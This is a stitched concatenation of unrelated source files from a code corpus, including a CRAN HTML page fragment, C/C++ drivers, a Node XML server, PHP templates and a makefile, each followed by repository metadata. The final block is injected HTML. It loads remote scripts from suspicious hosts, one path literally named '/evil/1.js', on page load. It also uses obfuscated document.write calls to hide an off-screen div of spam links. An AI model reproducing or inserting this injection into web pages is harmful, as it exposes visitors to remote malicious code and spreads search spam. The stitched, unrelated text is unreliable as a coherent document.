<td><a href="../../checks/check_results_flowfield.html">flowfield results</a></td>
</tr>
</table>
<h4>Downloads:</h4>
<table summary="Package flowfield downloads">
<tr>
<td> Reference manual: </td>
<td> <a href="flowfield.pdf"> flowfield.pdf </a> </td>
</tr>
<tr>
<td> Package source: </td>
<td> <a href="../../../src/contrib/flowfield_1.0.tar.gz"> flowfield_1.0.tar.gz </a> </td>
</tr>
<tr>
<td> Windows binaries: </td>
<td> r-devel: <a href="../../../bin/windows/contrib/3.5/flowfield_1.0.zip">flowfield_1.0.zip</a>, r-release: <a href="../../../bin/windows/contrib/3.4/flowfield_1.0.zip">flowfield_1.0.zip</a>, r-oldrel: <a href="../../../bin/windows/contrib/3.3/flowfield_1.0.zip">flowfield_1.0.zip</a> </td>
</tr>
<tr>
<td> OS X El Capitan binaries: </td>
<td> r-release: <a href="../../../bin/macosx/el-capitan/contrib/3.4/flowfield_1.0.tgz">flowfield_1.0.tgz</a> </td>
</tr>
<tr>
<td> OS X Mavericks binaries: </td>
<td> r-oldrel: <a href="../../../bin/macosx/mavericks/contrib/3.3/flowfield_1.0.tgz">flowfield_1.0.tgz</a> </td>
</tr>
</table>
<h4>Linking:</h4>
<p>Please use the canonical form
<a href="https://CRAN.R-project.org/package=flowfield"><samp>https://CRAN.R-project.org/package=flowfield</samp></a>
to link to this page.</p>
</body>
</html>
|
esander91/NamespacePollution
|
Code/GetMetaDataFromCRAN/raw_html/flowfield.html
|
HTML
|
gpl-2.0
| 2,596
|
DELETE FROM `rbac_permissions` WHERE `id`=1011;
DELETE FROM `rbac_linked_permissions` WHERE `linkedId`=1011;
INSERT INTO `rbac_permissions` (`id`, `name`) VALUES
(1011, 'Command: psay');
INSERT INTO `rbac_linked_permissions` (`id`,`linkedId`) VALUES
(195, 1011);
|
mk52140/SCore_TC
|
sql/custom/auth/2016_07_10_auth_pet_chat.sql
|
SQL
|
gpl-2.0
| 265
|
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein is
* confidential and proprietary to MediaTek Inc. and/or its licensors. Without
* the prior written permission of MediaTek inc. and/or its licensors, any
* reproduction, modification, use or disclosure of MediaTek Software, and
* information contained herein, in whole or in part, shall be strictly
* prohibited.
*
* MediaTek Inc. (C) 2010. All rights reserved.
*
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE")
* RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER
* ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL
* WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
* WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR
* NONINFRINGEMENT. NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH
* RESPECT TO THE SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY,
* INCORPORATED IN, OR SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES
* TO LOOK ONLY TO SUCH THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO.
* RECEIVER EXPRESSLY ACKNOWLEDGES THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO
* OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES CONTAINED IN MEDIATEK
* SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK SOFTWARE
* RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S
* ENTIRE AND CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE
* RELEASED HEREUNDER WILL BE, AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE
* MEDIATEK SOFTWARE AT ISSUE, OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE
* CHARGE PAID BY RECEIVER TO MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*
* The following software/firmware and/or related documentation ("MediaTek
* Software") have been modified by MediaTek Inc. All revisions are subject to
* any receiver's applicable license agreements with MediaTek Inc.
*/
#define LOG_TAG "MtkCam/CamDevice"
//
#include <camera/CameraParameters.h>
#include <camera/MtkCameraParameters.h>
//
#include <CamUtils.h>
//
#include "CamDeviceManager.h"
#include <ICamDevice.h>
//
using namespace android;
using namespace NSCamDevice;
using namespace MtkCamUtils;
//
/******************************************************************************
*
******************************************************************************/
#define MY_LOGV(fmt, arg...) CAM_LOGV("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGD(fmt, arg...) CAM_LOGD("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGI(fmt, arg...) CAM_LOGI("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGW(fmt, arg...) CAM_LOGW("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGE(fmt, arg...) CAM_LOGE("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGA(fmt, arg...) CAM_LOGA("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
#define MY_LOGF(fmt, arg...) CAM_LOGF("[CamDeviceManager::%s] "fmt, __FUNCTION__, ##arg)
//
#define MY_LOGV_IF(cond, ...) do { if ( (cond) ) { MY_LOGV(__VA_ARGS__); } }while(0)
#define MY_LOGD_IF(cond, ...) do { if ( (cond) ) { MY_LOGD(__VA_ARGS__); } }while(0)
#define MY_LOGI_IF(cond, ...) do { if ( (cond) ) { MY_LOGI(__VA_ARGS__); } }while(0)
#define MY_LOGW_IF(cond, ...) do { if ( (cond) ) { MY_LOGW(__VA_ARGS__); } }while(0)
#define MY_LOGE_IF(cond, ...) do { if ( (cond) ) { MY_LOGE(__VA_ARGS__); } }while(0)
#define MY_LOGA_IF(cond, ...) do { if ( (cond) ) { MY_LOGA(__VA_ARGS__); } }while(0)
#define MY_LOGF_IF(cond, ...) do { if ( (cond) ) { MY_LOGF(__VA_ARGS__); } }while(0)
/******************************************************************************
*
******************************************************************************/
namespace
{
String8 g_s8ClientAppMode;
} //namespace
/******************************************************************************
*
******************************************************************************/
static
String8 const
queryClientAppMode()
{
#warning "[TODO] Before opening camera, client must Camera::setProperty for app mode."
/*
Before opening camera, client must call
Camera::setProperty(
String8(MtkCameraParameters::PROPERTY_KEY_CLIENT_APPMODE),
String8(MtkCameraParameters::APP_MODE_NAME_MTK_xxx)
),
where MtkCameraParameters::APP_MODE_NAME_MTK_xxx = one of the following:
MtkCameraParameters::APP_MODE_NAME_DEFAULT
MtkCameraParameters::APP_MODE_NAME_MTK_ENG
MtkCameraParameters::APP_MODE_NAME_MTK_ATV
MtkCameraParameters::APP_MODE_NAME_MTK_S3D
MtkCameraParameters::APP_MODE_NAME_MTK_VT
*/
String8 const s8ClientAppModeKey(MtkCameraParameters::PROPERTY_KEY_CLIENT_APPMODE);
String8 s8ClientAppModeVal(MtkCameraParameters::APP_MODE_NAME_DEFAULT);
//
// (1) get Client's property.
MtkCamUtils::Property::tryGet(s8ClientAppModeKey, s8ClientAppModeVal);
if ( s8ClientAppModeVal.isEmpty() ) {
s8ClientAppModeVal = MtkCameraParameters::APP_MODE_NAME_DEFAULT;
}
// (2) reset Client's property.
MtkCamUtils::Property::set(s8ClientAppModeKey, String8::empty());
//
//
return s8ClientAppModeVal;
}
/******************************************************************************
*
******************************************************************************/
static
ICamDevice*
createIDevice(
int32_t const i4DevOpenId,
hw_device_t const& hwdevice,
hw_module_t const*const hwmodule
)
{
g_s8ClientAppMode = queryClientAppMode();
//
MY_LOGI("+ tid:%d OpenID:%d ClientAppMode:%s", ::gettid(), i4DevOpenId, g_s8ClientAppMode.string());
//
ICamDevice* pdev = NSCamDevice::createDevice(g_s8ClientAppMode, i4DevOpenId);
//
if ( pdev != 0 )
{
pdev->incStrong(pdev);
//
hw_device_t* hwdev = pdev->get_hw_device();
*hwdev = hwdevice;
hwdev->module = const_cast<hw_module_t*>(hwmodule);
//
if ( ! pdev->init() )
{
MY_LOGE("fail to initialize a newly-created instance");
pdev->uninit();
pdev = NULL;
}
}
//
MY_LOGI("- created instance=%p", &(*pdev));
return pdev;
}
/******************************************************************************
*
******************************************************************************/
static
void
destroyDevice(ICamDevice* pdev)
{
pdev->decStrong(pdev);
}
/******************************************************************************
*
******************************************************************************/
CamDeviceManager&
CamDeviceManager::
getInstance()
{
static CamDeviceManager singleton;
return singleton;
}
/******************************************************************************
*
******************************************************************************/
CamDeviceManager::
CamDeviceManager()
: mMtxOpenLock()
, mi4OpenNum(0)
, mi4DeviceNum(0)
{
}
/******************************************************************************
*
******************************************************************************/
CamDeviceManager::
~CamDeviceManager()
{
}
/******************************************************************************
*
******************************************************************************/
int32_t
CamDeviceManager::
getNumberOfCameras()
{
static bool bIsInitialized = false;
if ( bIsInitialized ) {
int32_t i4DeviceNum = DevMetaInfo::queryNumberOfDevice();
MY_LOGD("has init before - %d cameras", i4DeviceNum);
return i4DeviceNum;
}
bIsInitialized = true;
//
CamProfile profile(__FUNCTION__, "CamDeviceManager");
android::Mutex::Autolock lock(mMtxOpenLock);
mi4DeviceNum = NSCamDevice::searchDevice();
profile.print("");
return mi4DeviceNum;
}
/******************************************************************************
*
*******************************************************************************/
int
CamDeviceManager::
getCameraInfo(int const cameraId, camera_info& rInfo)
{
rInfo = DevMetaInfo::queryCameraInfo(cameraId);
MY_LOGI("id(%d) (facing,orientation)=(%d,%d)", cameraId, rInfo.facing, rInfo.orientation);
return 0;
}
/******************************************************************************
*
*******************************************************************************/
int
CamDeviceManager::
openDevice(const hw_module_t* module, const char* name, hw_device_t** device)
{
int err = OK;
//
ICamDevice* pdev = NULL;
int32_t i4OpenId = 0;
//
Mutex::Autolock lock(mMtxOpenLock);
//
MY_LOGI("+ mi4OpenNum(%d), mi4DeviceNum(%d)", mi4OpenNum, mi4DeviceNum);
if (name != NULL)
{
i4OpenId = ::atoi(name);
//
if ( DevMetaInfo::queryNumberOfDevice() < i4OpenId )
{
err = -EINVAL;
goto lbExit;
}
//
if ( MAX_SIMUL_CAMERAS_SUPPORTED <= mi4OpenNum )
{
MY_LOGW("open number(%d) >= maximum number(%d)", mi4OpenNum, MAX_SIMUL_CAMERAS_SUPPORTED);
MY_LOGE("does not support multi-open");
err = -ENOMEM;
goto lbExit;
}
//
pdev = createIDevice(
i4OpenId,
*get_hw_device(),
module
);
//
if ( ! pdev )
{
MY_LOGE("camera device allocation fail: pdev(0)");
err = -ENOMEM;
goto lbExit;
}
*device = pdev->get_hw_device();
//
mi4OpenNum++;
}
lbExit:
if ( OK != err )
{
if ( pdev )
{
destroyDevice(pdev);
pdev = NULL;
}
//
*device = NULL;
}
MY_LOGI("- mi4OpenNum(%d)", mi4OpenNum);
return err;
}
/******************************************************************************
*
*******************************************************************************/
int
CamDeviceManager::
closeDevice(hw_device_t* device)
{
int err = OK;
//
ICamDevice* pdev = ICamDevice::getIDev(reinterpret_cast<camera_device*>(device));
//
MY_LOGI("+ device(%p), ICamDevice(%p)", device, pdev);
//
Mutex::Autolock lock(mMtxOpenLock);
//
// reset Client's property.
String8 const s8ClientAppModeKey(MtkCameraParameters::PROPERTY_KEY_CLIENT_APPMODE);
MtkCamUtils::Property::set(s8ClientAppModeKey, String8::empty());
//
if ( pdev )
{
mi4OpenNum--;
destroyDevice(pdev);
pdev = NULL;
err = OK;
}
else
{
err = -EINVAL;
}
//
MY_LOGI("- status(%d)", err);
return err;
}
|
rex-xxx/mt6572_x201
|
mediatek/hardware/camera/device/CamDeviceManager/CamDeviceManager.cpp
|
C++
|
gpl-2.0
| 11,262
|
#include <kernel.h>
#include <version.h>
#include <tape.h>
#include <kdata.h>
#include <devlpr.h>
#include <printf.h>
#include <devstringy.h>
/*
* Stringy tape wrapper. Note that the asm code uses the ROM which
* also uses some values in 0x40xx (40B1 and 401A in particular)
*/
static uint8_t fileid = 1;
static uint8_t mode;
static uint8_t inpos = 0; /* in position */
static uint8_t inio = 0;
static uint8_t curtape = 255;
static int busy = 0;
uint8_t tape_err;
static int tape_error(void)
{
uint8_t a = tape_err;
tape_err = 0;
/* EOF on read */
if (a & 0x80)
return 0;
/* Write protected */
if (a & 0x01)
udata.u_error = EROFS;
/* BREAK */
if (a & 0x02)
udata.u_error = EINTR;
/* End of tape while writing */
else if (a & 0x04)
udata.u_error = ENOSPC;
/* Buffer too small (read) */
else if (a & 0x20)
udata.u_error = EINVAL; /* Not a good error for this really */
else
udata.u_error = EIO;
kprintf("tape: error %x\n", a);
inpos = inio = 0;
return -1;
}
static int tape_rewind(void)
{
if (!tape_op(0, TAPE_REWIND)) {
/* rewind */
fileid = 1;
inpos = 0;
return 0;
}
return tape_error();
}
int tape_open(uint8_t minor, uint16_t flag)
{
minor; flag;
uint8_t unit;
/* Check for the floppy tape ROM */
if (*((uint16_t *)0x3034) != 0x3C3C) {
udata.u_error = ENODEV;
return -1;
}
if (busy) {
udata.u_error = EBUSY;
return -1;
}
unit = minor & 7;
if (unit != curtape && tape_op(unit, TAPE_SELECT)) {
udata.u_error = ENODEV;
return -1;
}
/* Can't open for mixed read/write at the same time */
if (O_ACCMODE(flag) == O_RDWR) {
udata.u_error = EINVAL;
return -1;
}
mode = O_ACCMODE(flag);
if (minor & 0x08)
if (tape_rewind())
return -1;
/* Only one drive can be used at a time */
busy = 1;
if (unit != curtape) {
inio = 0;
tape_err = 0;
fileid = 1;
curtape = unit;
}
return 0;
}
int tape_close(uint8_t minor)
{
minor;
busy = 0;
inio = 0;
inpos = 0;
if (mode == O_WRONLY)
if (tape_op(fileid, TAPE_CLOSEW))
return tape_error();
if (fileid < 99)
fileid++;
return 0;
}
static int tape_rw(uint8_t op)
{
uint8_t pos = fileid;
if (!inpos) {
if (tape_op(pos, TAPE_FIND) == 0)
inpos = 1;
else
return tape_error();
}
inio = 1;
udata.u_done = tape_op(fileid, op);
if (tape_err)
return tape_error();
return udata.u_done;
}
int tape_read(uint8_t minor, uint8_t rawflag, uint8_t flag)
{
used(minor);
used(rawflag);
used(flag);
return tape_rw(TAPE_READ);
}
int tape_write(uint8_t minor, uint8_t rawflag, uint8_t flag)
{
used(minor);
used(rawflag);
used(flag);
return tape_rw(TAPE_WRITE);
}
static struct mtstatus tapei = {
MT_TYPE_EXATRON,
0,
~0UL
};
int tape_ioctl(uint8_t minor, uarg_t op, char *ptr)
{
used(minor);
switch(op) {
case MTSTATUS:
if (inpos)
tapei.mt_file = fileid;
else
tapei.mt_file = 0xFFFF;
return uput(&tapei, ptr, sizeof(tapei));
}
/* Now calls we can only make when not mid stream */
if (mode || inio)
goto bad;
switch (op) {
case MTREWIND:
return tape_rewind();
case MTSEEKF:
if (fileid > 99)
goto bad;
fileid++;
if (tape_op(fileid, TAPE_FIND))
goto bad;
inpos = 1;
return 0;
case MTSEEKB:
if (fileid < 2)
goto bad;
fileid--;
if (tape_op(fileid, TAPE_FIND))
goto bad;
inpos = 1;
return 0;
case MTERASE:
/* Erase from this point to the end of tape */
if (fileid > 99)
goto bad;
if (tape_op(fileid, TAPE_ERASE))
goto bad;
inpos = 0;
return 0;
default:
return -1;
}
bad:
udata.u_error = EINVAL;
return -1;
}
void tape_init(void)
{
*(uint16_t*)0x40b1 = 0x4000; /* Somewhere to put the tape variables */
}
|
erkinalp/FUZIX
|
Kernel/platform-trs80m1/devstringy.c
|
C
|
gpl-2.0
| 4,324
|
var express = require('express'),
xml2js = require('xml2js'),
parser = new xml2js.Parser({explicitArray: false, mergeAttrs: true, explicitRoot: false});
var xmlBodyParser = function(req, res, next) {
if (req._body) return next();
req.body = req.body || {};
// ignore GET
if ('GET' == req.method || 'HEAD' == req.method) return next();
// check Content-Type
if ('text/xml' != req.header('content-type')) return next();
// flag as parsed
req._body = true;
// parse
var buf = '';
req.setEncoding('utf8');
req.on('data', function(chunk){ buf += chunk });
req.on('end', function() {
parser.parseString(buf, function(err, json) {
if (err) {
err.status = 400;
next(err);
} else {
req.body = json;
next();
}
});
});
};
exports.init = function(publicPath, builder) {
app = express();
app.use(xmlBodyParser);
app.post('/hex', function(req, res) {
logger.info('Client requests hex ' + req.headers['user-agent']);
builder.handleBuildJob(req, function(status, hexfile) {
if (status) {
var body = '<xml><firmware>' + hexfile + '</firmware></xml>';
res.setHeader('Content-Type', 'text/xml');
res.setHeader('Content-Length', body.length);
res.end(body);
} else {
var body = '<xml><error>' + hexfile + '</error></xml>';
res.setHeader('Content-Type', 'text/xml');
res.setHeader('Content-Length', body.length);
res.send(500, body);
}
});
});
app.use(express.static(publicPath));
app.listen(8888);
logger.info('Server started');
};
|
MegaPirateNG/FlashTool
|
server-side/src/lib/server.js
|
JavaScript
|
gpl-2.0
| 1,816
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>KCFinder: /<?php echo $this->session['dir'] ?></title>
<?php INCLUDE "tpl/tpl__css.php" ?>
<?php INCLUDE "tpl/tpl__javascript.php" ?>
</head>
<body>
<script type="text/javascript">
</script>
<div id="resizer"></div>
<div id="shadow"></div>
<div id="dialog"></div>
<div id="clipboard"></div>
<div id="all">
<div id="left">
<div id="folders"></div>
</div>
<div id="right">
<div id="toolbar">
<div>
<a href="kcact:upload"><?php echo $this->label("Upload") ?></a>
<a href="kcact:refresh"><?php echo $this->label("Refresh") ?></a>
<a href="kcact:settings"><?php echo $this->label("Settings") ?></a>
<a href="kcact:maximize"><?php echo $this->label("Maximize") ?></a>
<a href="kcact:about"><?php echo $this->label("About") ?></a>
<div id="loading"></div>
</div>
</div>
<div id="settings">
<div>
<fieldset>
<legend><?php echo $this->label("View:") ?></legend>
<table summary="view" id="view"><tr>
<th><input id="viewThumbs" type="radio" name="view" value="thumbs" /></th>
<td><label for="viewThumbs"> <?php echo $this->label("Thumbnails") ?></label> </td>
<th><input id="viewList" type="radio" name="view" value="list" /></th>
<td><label for="viewList"> <?php echo $this->label("List") ?></label></td>
</tr></table>
</fieldset>
</div>
<div>
<fieldset>
<legend><?php echo $this->label("Show:") ?></legend>
<table summary="show" id="show"><tr>
<th><input id="showName" type="checkbox" name="name" /></th>
<td><label for="showName"> <?php echo $this->label("Name") ?></label> </td>
<th><input id="showSize" type="checkbox" name="size" /></th>
<td><label for="showSize"> <?php echo $this->label("Size") ?></label> </td>
<th><input id="showTime" type="checkbox" name="time" /></th>
<td><label for="showTime"> <?php echo $this->label("Date") ?></label></td>
</tr></table>
</fieldset>
</div>
<div>
<fieldset>
<legend><?php echo $this->label("Order by:") ?></legend>
<table summary="order" id="order"><tr>
<th><input id="sortName" type="radio" name="sort" value="name" /></th>
<td><label for="sortName"> <?php echo $this->label("Name") ?></label> </td>
<th><input id="sortType" type="radio" name="sort" value="type" /></th>
<td><label for="sortType"> <?php echo $this->label("Type") ?></label> </td>
<th><input id="sortSize" type="radio" name="sort" value="size" /></th>
<td><label for="sortSize"> <?php echo $this->label("Size") ?></label> </td>
<th><input id="sortTime" type="radio" name="sort" value="date" /></th>
<td><label for="sortTime"> <?php echo $this->label("Date") ?></label> </td>
<th><input id="sortOrder" type="checkbox" name="desc" /></th>
<td><label for="sortOrder"> <?php echo $this->label("Descending") ?></label></td>
</tr></table>
</fieldset>
</div>
</div>
<div id="files">
<div id="content"></div>
</div>
</div>
<div id="status"><span id="fileinfo"> </span></div>
</div>
</body>
</html>
|
ru4/arabbnota
|
kcfinder/tpl/tpl_browser.php
|
PHP
|
gpl-2.0
| 3,431
|
<?php
/**
* File containing the eZ\Publish\Core\Repository\Values\Content\ContentUpdateStruct class.
*
* @copyright Copyright (C) 1999-2014 eZ Systems AS. All rights reserved.
* @license http://www.gnu.org/licenses/gpl-2.0.txt GNU General Public License v2
* @version //autogentag//
*/
namespace eZ\Publish\Core\Repository\Values\Content;
use eZ\Publish\API\Repository\Values\Content\ContentUpdateStruct as APIContentUpdateStruct;
use eZ\Publish\API\Repository\Values\Content\Field;
/**
* This class is used for updating the fields of a content object draft
*
* @property-write array $fields
*/
class ContentUpdateStruct extends APIContentUpdateStruct
{
/**
* Field collection.
*
* @var array
*/
public $fields = array();
/**
* Adds a field to the field collection.
* This method could also be implemented by ArrayAccess so that
* $fields[$fieldDefIdentifier][$language] = $value or without language $fields[$fieldDefIdentifier] = $value
* is an equivalent call.
*
* @param string $fieldDefIdentifier the identifier of the field definition
* @param mixed $value Either a plain value which is understandable by the field type or an instance of a Value class provided by the field type
* @param string|null $language If not given on a translatable field the initial language is used,
*/
public function setField( $fieldDefIdentifier, $value, $language = null )
{
$this->fields[] = new Field(
array(
'fieldDefIdentifier' => $fieldDefIdentifier,
'value' => $value,
'languageCode' => $language
)
);
}
}
|
glye/ezpublish-kernel
|
eZ/Publish/Core/Repository/Values/Content/ContentUpdateStruct.php
|
PHP
|
gpl-2.0
| 1,689
|
##############################################################################
##
## Utility to registry and file access APIs.
##
## Microsoft Research Detours Package, Version 3.0.
##
## Copyright (c) Microsoft Corporation. All rights reserved.
##
!include ..\common.mak
LIBS=$(LIBS) advapi32.lib
all: dirs \
$(BIND)\trcreg$(DETOURS_BITS).dll \
!IF $(DETOURS_SOURCE_BROWSING)==1
$(OBJD)\trcreg$(DETOURS_BITS).bsc \
!ENDIF
option
dirs:
@if not exist $(BIND) mkdir $(BIND) && echo. Created $(BIND)
@if not exist $(OBJD) mkdir $(OBJD) && echo. Created $(OBJD)
clean:
-del *~ test.txt 2>nul
-del $(BIND)\trcreg*.* 2>nul
-rmdir /q /s $(OBJD) 2>nul
realclean: clean
-rmdir /q /s $(OBJDS) 2>nul
##############################################################################
$(OBJD)\trcreg.obj : trcreg.cpp
$(OBJD)\trcreg.res : trcreg.rc
$(BIND)\trcreg$(DETOURS_BITS).dll : $(OBJD)\trcreg.obj $(OBJD)\trcreg.res $(DEPS)
cl /LD $(CFLAGS) /Fe$@ /Fd$(@R).pdb \
$(OBJD)\trcreg.obj $(OBJD)\trcreg.res \
/link $(LINKFLAGS) /incremental:no /subsystem:console \
/entry:$(DLLENTRY) \
/export:DetourFinishHelperProcess,@1,NONAME \
$(LIBS)
$(OBJD)\trcreg$(DETOURS_BITS).bsc : $(OBJD)\trcreg.obj
bscmake /v /n /o $@ $(OBJD)\trcreg.sbr
############################################### Install non-bit-size binaries.
!IF "$(DETOURS_OPTION_PROCESSOR)" != ""
$(OPTD)\trcreg$(DETOURS_OPTION_BITS).dll:
$(OPTD)\trcreg$(DETOURS_OPTION_BITS).pdb:
$(BIND)\trcreg$(DETOURS_OPTION_BITS).dll : $(OPTD)\trcreg$(DETOURS_OPTION_BITS).dll
@if exist $? copy /y $? $(BIND) >nul && echo $@ copied from $(DETOURS_OPTION_PROCESSOR).
$(BIND)\trcreg$(DETOURS_OPTION_BITS).pdb : $(OPTD)\trcreg$(DETOURS_OPTION_BITS).pdb
@if exist $? copy /y $? $(BIND) >nul && echo $@ copied from $(DETOURS_OPTION_PROCESSOR).
option: \
$(BIND)\trcreg$(DETOURS_OPTION_BITS).dll \
$(BIND)\trcreg$(DETOURS_OPTION_BITS).pdb \
!ELSE
option:
!ENDIF
##############################################################################
test: all
@echo -------- Logging output to test.txt ------------
start $(BIND)\syelogd.exe /o test.txt
$(BIND)\sleep5.exe 1
@echo -------- Should load trcreg$(DETOURS_BITS).dll dynamically using withdll.exe ------------
$(BIND)\withdll -d:$(BIND)\trcreg$(DETOURS_BITS).dll $(BIND)\sleepold.exe
@echo -------- Log from syelog -------------
type test.txt
################################################################# End of File.
|
doublesword/commuse
|
Source/W201621/detours3.0/samples/tracereg/Makefile
|
Makefile
|
gpl-2.0
| 2,634
|
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HartUtils
{
public static class ActionHelper
{
/// <summary>
/// Retry the called action until is successful
/// </summary>
/// <param name="action">Action to try to execute</param>
/// <param name="numberOfRetries">Number of times it will retry</param>
/// <param name="milisecondsWait">Time to wait between calls</param>
public static void Retry(Action action, int numberOfRetries, int milisecondsWait)
{
try
{
action.Invoke();
}
catch (Exception)
{
if (numberOfRetries > 0)
{
System.Threading.Thread.Sleep(milisecondsWait);
Retry(action, numberOfRetries - 1, milisecondsWait);
}
else
{
throw;
}
}
}
/// <summary>
/// Returns the ms it took to execute a certain action
/// </summary>
/// <param name="action"></param>
/// <returns></returns>
public static long ExecutionTime(Action action)
{
var s = new Stopwatch();
s.Start();
action.Invoke();
s.Stop();
return s.ElapsedMilliseconds;
}
}
}
|
AlexHart/Utils
|
HartUtils/HartUtils/ActionHelper.cs
|
C#
|
gpl-2.0
| 1,505
|
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
